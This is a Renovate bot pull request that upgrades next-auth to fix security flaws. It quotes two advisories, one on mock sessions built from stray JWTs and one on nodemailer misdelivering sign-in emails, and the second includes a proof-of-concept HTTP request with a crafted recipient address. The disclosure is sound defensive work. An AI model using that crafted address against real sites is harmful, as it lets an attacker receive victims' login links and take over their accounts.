Skip to content

Conversation

@renovate
Copy link

@renovate renovate bot commented Nov 21, 2023

This PR contains the following updates:

Package Change Age Confidence
next-auth (source) 4.18.74.24.12 age confidence

GitHub Vulnerability Alerts

CVE-2023-48309

Impact

next-auth applications prior to version 4.24.5 that rely on the default Middleware authorization are affected.

A bad actor could create an empty/mock user, by getting hold of a NextAuth.js-issued JWT from an interrupted OAuth sign-in flow (state, PKCE or nonce).

Manually overriding the next-auth.session-token cookie value with this non-related JWT would let the user simulate a logged in user, albeit having no user information associated with it. (The only property on this user is an opaque randomly generated string).

This vulnerability does not give access to other users' data, neither to resources that require proper authorization via scopes or other means. The created mock user has no information associated with it (ie. no name, email, access_token, etc.)

This vulnerability can be exploited by bad actors to peek at logged in user states (e.g. dashboard layout).

Note: Regardless of the vulnerability, the existence of a NextAuth.js session state can provide simple authentication, but not authorization in your applications. For role-based access control, you can check out our guide.

Patches

We patched the vulnerability in next-auth v4.24.5. To upgrade, run one of the following:

npm i next-auth@latest
yarn add next-auth@latest
pnpm add next-auth@latest

Workarounds

Upgrading to latest is the recommended way to fix this issue. However, using a custom authorization callback for Middleware, developers can manually do a basic authentication:

// middleware.ts
import { withAuth } from "next-auth/middleware"

export default withAuth(/*your middleware function*/, {
  // checking the existence of any property - besides `value` which might be a random string - on the `token` object is sufficient to prevent this vulnerability
  callbacks: { authorized: ({ token }) => !!token?.email }
})

References

GHSA-5jpx-9hw9-2fx4

Summary

NextAuth.js's email sign-in can be forced to deliver authentication emails to an attacker-controlled mailbox due to a bug in nodemailer's address parser used by the project (fixed in nodemailer v7.0.7). A crafted input such as:

"e@attacker.com"@​victim.com

is parsed incorrectly and results in the message being delivered to e@attacker.com (attacker) instead of "<e@attacker.com>@&#8203;victim.com" (the intended recipient at victim.com) in violation of RFC 5321/5322 semantics. This allows an attacker to receive login/verification links or other sensitive emails intended for the victim.

Affected NextAuthjs Version

≤ Version Afftected
4.24.11 Yes
5.0.0-beta.29 Yes

POC

Example Setup showing misdelivery of email

import NextAuth from "next-auth"
import Nodemailer from "next-auth/providers/nodemailer"
import { PrismaAdapter } from "@&#8203;auth/prisma-adapter"
import { prisma } from "@&#8203;/lib/prisma"

export const { handlers, auth, signIn, signOut } = NextAuth({
  adapter: PrismaAdapter(prisma),
  providers: [
    Nodemailer({
      server: {
        host: "127.0.0.1",
        port: 1025,
        ...
      },
      from: "noreply@authjs.dev",
    }),
  ],
  pages: {
    signIn: '/auth/signin',
    verifyRequest: '/auth/verify-request',
  },
})
POST /api/auth/signin/nodemailer HTTP/1.1
Accept-Encoding: gzip, deflate, br, zstd
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 176
DNT: 1
Host: localhost:3000
Origin: http://localhost:3000
Pragma: no-cache
Referer: http://localhost:3000/auth/signin
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
accept: */*
accept-language: en-US,en;q=0.9,ta;q=0.8
content-type: application/x-www-form-urlencoded
sec-ch-ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
x-auth-return-redirect: 1

email=%22e%40attacker.coccm%22%40victim.com&csrfToken=90f5e6f48ab577ab011f212011862dcfe546459c23764cf891aab2d176f8d77a&callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fauth%2Fsignin
Screenshot from 2025-10-25 21-15-25 Screenshot from 2025-10-25 21-14-47

Mitigation

Update to nodemailer 7.0.7

Credits

https://zeropath.com/ Helped identify this security issue


Release Notes

nextauthjs/next-auth (next-auth)

v4.24.12

Compare Source

v4.24.11

Compare Source

v4.24.10

Compare Source

What's Changed

Full Changelog: https://github.com/nextauthjs/next-auth/compare/next-auth@4.24.9...next-auth@4.24.10

v4.24.9

Compare Source

What's Changed

New Contributors

Full Changelog: https://github.com/nextauthjs/next-auth/compare/next-auth@4.24.8...next-auth@4.24.9

v4.24.8

Compare Source

What's Changed

New Contributors

Full Changelog: https://github.com/nextauthjs/next-auth/compare/next-auth@4.24.7...next-auth@4.24.8

v4.24.7

Compare Source

Others

v4.24.6

Compare Source

Bugfixes

v4.24.5

Compare Source

Bugfixes

  • differentiate between issued JWTs

v4.24.4

Compare Source

Bugfixes

  • allow Next.js 14 as peer dependency

v4.24.3

Compare Source

Bugfixes

  • css build error

v4.24.2

Compare Source

Bugfixes

  • css build error

v4.24.1

Compare Source

Bugfixes

  • css build error

v4.24.0

Compare Source

Features

v4.23.2

Compare Source

Bugfixes

  • next: returns correct status for signing in with redirect: false for route handler (#​8775) (27b2519)
  • ts: fix typo (d813c00)
  • remove trailing ? from signIn URL (#​8466)

Other

  • update security policy link

v4.23.1

Compare Source

Bugfixes

  • ts: correctly expose next-auth/adapters (20c3fe3)
  • use default submodules export in package.json (#​8330)

v4.23.0

Compare Source

Features

  • providers: add Passage by 1Password (5a8aa2e)

Bugfixes

  • ts: correctly export submodule types (05ff6ae)
  • sort cookie chunks correctly (#​8284)

v4.22.5

Compare Source

Bugfixes

  • ts: match next-auth/adapter & @auth/core/adapters (3b0128c)

Other

  • docs: amplify note

v4.22.4

Compare Source

Bugfixes

Other

  • docs: fixing broken link in documentation (#​8208)
  • docs: clarify getServerSession
  • docs: move unstable_getServerSession
  • docs: Typo fixed (#​8206)
  • docs(providers): mention HTTP-based Email guide (#​8214)
  • docs: Update object key "email" to "username" (#​8113)
  • doc: Add a guide on sending magic links to existing users only (#​7663)
  • docs: Update refresh-token-rotation.md - fix example client code filename (#​8088)
  • docs(providers): updated docs with missing account attribute (#​8084)

v4.22.3

Compare Source

Full Changelog: https://github.com/nextauthjs/next-auth/compare/next-auth@4.22.2...next-auth@4.22.3

v4.22.2

Compare Source

Bugfixes

Other

  • remove unused TS types
  • merge changes back to v4 (#​7430)
  • rephrase

v4.22.1

Bugfixes

  • detect origin when instanceof Request check fails (#​7303)

Other

v4.21.1

Compare Source

Bugfixes

v4.21.0

Compare Source

Features

  • make it possible to update the session (#​7056)

Bugfixes

Other

  • release with declaration maps
  • fix tests
  • correct ts import

v4.20.1

Compare Source

Full Changelog: https://github.com/nextauthjs/next-auth/compare/next-auth@4.20.0...next-auth@4.20.1

v4.20.0

Compare Source

What's Changed
New Contributors

Full Changelog: https://github.com/nextauthjs/next-auth/compare/next-auth@4.19.2...next-auth@4.20.0

v4.19.2

Compare Source

What's Changed

Full Changelog: https://github.com/nextauthjs/next-auth/compare/next-auth@4.19.1...next-auth@4.19.2

v4.19.1

Compare Source

What's Changed
New Contributors

Full Changelog: https://github.com/nextauthjs/next-auth/compare/next-auth@4.19.0...next-auth@4.19.1

v4.19.0

Compare Source

What's Changed
  • fix(oauth1): pass oauth_token_secret in #​6534
  • feat: remove unstable_ prefix getServerSession in #​6535
  • feat: make generateSessionToken awaitable in #​6536

Full Changelog: https://github.com/nextauthjs/next-auth/compare/next-auth@4.18.10...next-auth@4.19.0

v4.18.10

Compare Source

Full Changelog: https://github.com/nextauthjs/next-auth/compare/next-auth@4.18.9...next-auth@4.18.10

v4.18.9

Compare Source

Bugfixes
  • next-auth: remove engines (f54424c)
  • providers: default image to null for Azure AD (09bcc1d)
  • Allow adding own logo to provider (#​6465)

v4.18.8

Compare Source

What's Changed

Full Changelog: https://github.com/nextauthjs/next-auth/compare/next-auth@v4.18.7...next-auth@4.18.8


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot changed the title fix(deps): update dependency next-auth to v4.24.5 [security] fix(deps): update dependency next-auth to v4.24.5 [security] - autoclosed Feb 24, 2024
@renovate renovate bot closed this Feb 24, 2024
@renovate renovate bot deleted the renovate/npm-next-auth-vulnerability branch February 24, 2024 01:53
@renovate renovate bot restored the renovate/npm-next-auth-vulnerability branch February 24, 2024 05:05
@renovate renovate bot changed the title fix(deps): update dependency next-auth to v4.24.5 [security] - autoclosed fix(deps): update dependency next-auth to v4.24.5 [security] Feb 24, 2024
@renovate renovate bot reopened this Feb 24, 2024
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from d75adee to 75bf17d Compare February 24, 2024 05:05
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 75bf17d to 8745b62 Compare March 12, 2024 11:15
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch 2 times, most recently from b51af22 to 0fb67a5 Compare March 24, 2024 14:21
@renovate renovate bot changed the title fix(deps): update dependency next-auth to v4.24.5 [security] fix(deps): update dependency next-auth to v4.24.5 [security] - autoclosed Apr 4, 2024
@renovate renovate bot closed this Apr 4, 2024
@renovate renovate bot deleted the renovate/npm-next-auth-vulnerability branch April 4, 2024 13:44
@renovate renovate bot changed the title fix(deps): update dependency next-auth to v4.24.5 [security] - autoclosed fix(deps): update dependency next-auth to v4.24.5 [security] Apr 4, 2024
@renovate renovate bot reopened this Apr 4, 2024
@renovate renovate bot restored the renovate/npm-next-auth-vulnerability branch April 4, 2024 17:39
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 0fb67a5 to 9f18ab7 Compare April 4, 2024 17:40
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 9f18ab7 to 54481ce Compare April 14, 2024 10:44
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 54481ce to 1ed7858 Compare June 5, 2024 00:53
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 1ed7858 to 848131d Compare July 21, 2024 13:50
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 848131d to 1f798a1 Compare August 6, 2024 09:55
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 1f798a1 to 79d07ae Compare August 28, 2024 09:59
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 79d07ae to 481dfdd Compare October 9, 2024 10:42
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 481dfdd to 0679fde Compare December 2, 2024 10:53
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch 2 times, most recently from 53b3682 to 05128e6 Compare January 30, 2025 14:43
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 05128e6 to 30232f6 Compare February 9, 2025 12:28
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 30232f6 to 8c03856 Compare March 3, 2025 16:28
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 8c03856 to 2d5c1d1 Compare March 13, 2025 20:12
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 2d5c1d1 to 19ba7e1 Compare April 1, 2025 13:56
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 19ba7e1 to ccd4a4b Compare April 8, 2025 10:05
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from ccd4a4b to c6285d6 Compare May 19, 2025 17:03
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from c6285d6 to 204ce1f Compare May 28, 2025 09:52
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 204ce1f to 2b9b09a Compare June 4, 2025 10:26
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 2b9b09a to 0559422 Compare June 22, 2025 14:27
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 0559422 to 92a2222 Compare August 10, 2025 12:54
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 92a2222 to 8029413 Compare August 19, 2025 16:01
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 8029413 to 21bace9 Compare September 25, 2025 16:48
@renovate renovate bot changed the title fix(deps): update dependency next-auth to v4.24.5 [security] chore(deps): update dependency next-auth to v4.24.5 [security] Sep 25, 2025
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 21bace9 to 090cf35 Compare October 29, 2025 12:40
@renovate renovate bot changed the title chore(deps): update dependency next-auth to v4.24.5 [security] chore(deps): update dependency next-auth to v4.24.12 [security] Oct 29, 2025
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 090cf35 to 9345b35 Compare November 10, 2025 15:02
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 9345b35 to 1667916 Compare December 3, 2025 19:41
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 1667916 to 1cb02bc Compare December 31, 2025 14:05
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant